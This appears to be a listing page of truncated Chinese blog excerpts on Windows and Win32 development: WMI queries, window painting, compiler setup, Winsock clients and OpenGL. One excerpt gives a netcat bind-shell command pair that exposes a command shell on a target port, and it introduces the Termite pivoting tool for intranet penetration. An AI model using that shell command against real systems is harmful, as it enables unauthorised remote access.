WMI应用(一个系统自带的测试WMI语句的工具) 1. 开始-运行-输入:wbemtest 回车2. 单击"连接", 输入:root\cimv2 回车; 或者ROOT\SecurityCenter 3. 单击"查询", 输入:SELECT * FROM Win32_Process 应用; 或者SELECT * FROM AntiVirusProduct//程序:SELECT * FROM Win32_Product; //
透明背景 case WM_PAINT: { printf("HH\n"); PAINTSTRUCT ps; HDC hdc = BeginPaint(hwnd, &ps); HBRUSH brush = CreateSolidBrush(0x00000ff); //FillRect(hdc, &ps.rcPaint, (HBRUSH)(COLOR_WINDOW + 1)); FillRect(hdc, &ps.rcPaint, bru
鼠标&定时器&菜单 // 鼠标消息 - 窗口绘制 - 窗口拖动重影 // WinMouse.cpp : Defines the entry point for the application. // #include "stdafx.h" #include "stdio.h" HINSTANCE g_hInst = NULL; HANDLE g_hStdOut = NULL; int g_nXPos = 0; int
Windows桌面端开发常常会需要读取系统信息或硬件信息作为用户标识,比如用于确认该设配是否已经激活程序。也可以使用随机生成的UUID来作为唯一标识,但是如果重装系统或重装软件都有可能导致标识丢失,因此使用硬件信息更为可靠,常见的有MAC地址,主机名,系统信息等,下面记录一些常见的信息
一,下载TDM-GCC https://jmeubank.github.io/tdm-gcc/ 二,下载免安装版本的 VSCode-win32-x64-1.58.2 三,配置(参考https://zhuanlan.zhihu.com/p/87864677) 1)安装C/C++插件 2)编写hello world 3)配置环境变量 I)配置编译器 接下来配置编译器路径,按快捷键C
首先你得装好mingw及msys1.0 用mingw-get.exe,哪里熟悉点哪里 mingw停止更新已久,编译openssl1.1.1l的时候,./configure 居然说需要perl 5.10及以上版本,于是着手替换mingw旧的perl download from https://jaist.dl.sourceforge.net/project/perl-mingw/5.24.0/perl-5.24.0-min
一、NC 目标机 nc.exe -l -p 1122 -t -e cnd.exe 攻击机 nc.exe 192.168.8.149 1122 二、termite 程序地址, http://rootkiter.com/Termite/ 一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适用性更强,操作也极为简便 程序分为两部分,admin[为控
不知道怎么make,就是坑人. 命令如下:make -f win32.mak,这里的make是与dmd一起的make.用ldc2与dmd或dub 这样:dub build --build=release --compiler ldc2的编译都失败了,最后,win32.mak管用了.真是很有意思.
这段时间在弄毕设,把我遇到的问题和解决方案记录在这,可以后续的时候查看。归因于以前在弄课程设计时遇到过很多问题,都没有及时的记录下来,导致现在遇到还得从头开始,一步步查找,把问题找出来。所以想用博客记录我的成长。 Mysql安装 之前因为移动了文件夹,导致需要重新安装,跟着教程走了
问题的提出: 以前一直在win7系统下进行的基于win32的OPengGL开发,今天换了Win 10的系统且是x64的,发现原来的glut不能用了(网上说开发glut的团队不再技术支持win32了,应该用支持freeglut框架),从OPenGL官网上也没发现x64的OPenGL.lib、OPenGL.dll,那现在要开发基于x64的OPenGL程
配置和下载lib文件请前往 https://blog.csdn.net/weixin_37615774/article/details/120679105 // ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #define STB_IMAGE_IMPLEMENTATION #include "stb_image.h" #include <iostream> #
今天在学习的时候,发现对话框上不响应键盘消息,查了老半天,终于成功了,现分享出来, 1,首先要在消息循环的时候加如下代码. int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { MyDialog *pDl
一、树莓派镜像下载 官网上下载Raspbian树莓派系统:https://www.raspberrypi.org/downloads/raspbian/ 二、准备读卡器与SD内存卡(进行刷机)(内存最好4G以上) 三、安装刷机软件 (Win32 Disk Imager) ①:si软件地址:Win32 Disk Imager download | SourceForge.net ②:成功安装并打开
1. 什么是Spring ToolSuite4 ? Spring Tools4是一个集成了STS(Spring Tool Suite)插件的Eclipse,所以下载之后就不需要再下载eclipse下载。 2. Spring ToolSuite4有什么用? 用来搭建Spring Boot的工程环境。 3. 安装步骤 (1)进官网https://spring.io/tools 下载安装包(jar包)。 (2)win
今天想在菜单中添加加速键的时候,因是用的对话框模板,不能接受WM_KEYDOWN消息, 在网上收了半天,都不理想,最后在看WM_COMMAND的时候发现有个 wparam的低位有个加速键标识 最后把这个标识符用在WM_COMMAND消息中成功 要在OnInitDialog函数中添加,加速键资源 m_hAccel = LoadAc
#include <windows.h> #include <Wincrypt.h> #pragma comment(lib,"Crypt32.lib") #include <iostream> #include <string> // 转化为string std::string to_string(std::wstring str) { std::string result; int len = WideCharToMulti
note 近日封装一些跨平台库时, 发现线程的创建需要做平台的区分, windows的线程创建和Linux下的线程操作不一样。很麻烦,还要做平台区分。 能否在windows上使用pthread的线程库操作线程呢? 这样,线程的操作就统一了, 避免了一些不必要的麻烦和过失。 果然,找到了一个开源库: pthrads ,
MinGW-w64 C/C++编译器个版本说明 MinGW-w64 C/C++编译器资源直达链接:https://sourceforge.net/projects/mingw-w64/ 型号列表 x86_64:代表64位系统运行(电脑操作系统)x86_win32:代表32位系统运行(电脑操作系统) x86_64-posix-sjlj x86_64-posix-seh x86_64-win32-sjlj x
新建win32项目 选择dll,空项目。要以动态链接库的形式加载到NX中,不是独立运行的exe应用程序 进来后新建项,添加代码 设置x64项目,如果是32位NX就用win32,64位用x64 开始配置环境 更改字符集为多字节 设置附加包含目录 D:\Program Files\Sieme
当我们在安装cnpm时出现下面这个报错问题,解决非常简单,只需三步就可以轻松解决。 ① 在输入命令 cnpm rebuild node-sass 按下回车 ② 将项目文件夹中原来的 node_modules 文件删除 ③ 最后再重新输入命令 cnpm install 安装即可 作者:IT跃迁谷 与大家一起分享采坑经验!
×××××××××××××××××××××× #include<winsock2.h>//winsock的头文件 #include<iostream> using namespace std; //指定动态库的lib文件 #pragma comment(lib,"ws2_32.lib") //TCP客户端 int main() { //初始化winsock2.2相关的动态库 WS
1 #include<winsock2.h>//winsock的头文件 2 #include<iostream> 3 using namespace std; 4 5 //指定动态库的lib文件 6 #pragma comment(lib,"ws2_32.lib") 7 8 //TCP服务端 9 int main() 10 { 11 12 //初始化winsock2.2相关的动态库 13 WSADATA wd;//获
通常情况,我们想让程序选择性地执行,多会使用分支语句,比如if-else 或者switch-case 等。但有些时候,可能在程序的运行过程中,某个分支根本不会执行。 比如我们要写一个跨平台项目,要求项目既能在Windows下运行,也能在Linux下运行。这个时候,如果我们使用if-else,如下: Windows 有专有的宏_
/// <summary> /// 根据类名和窗口名称查找窗口 /// </summary> /// <param name="lpClassName"></param> /// <param name="lpWindowName"></param> /// <returns></returns> [DllImport("user32.dll", En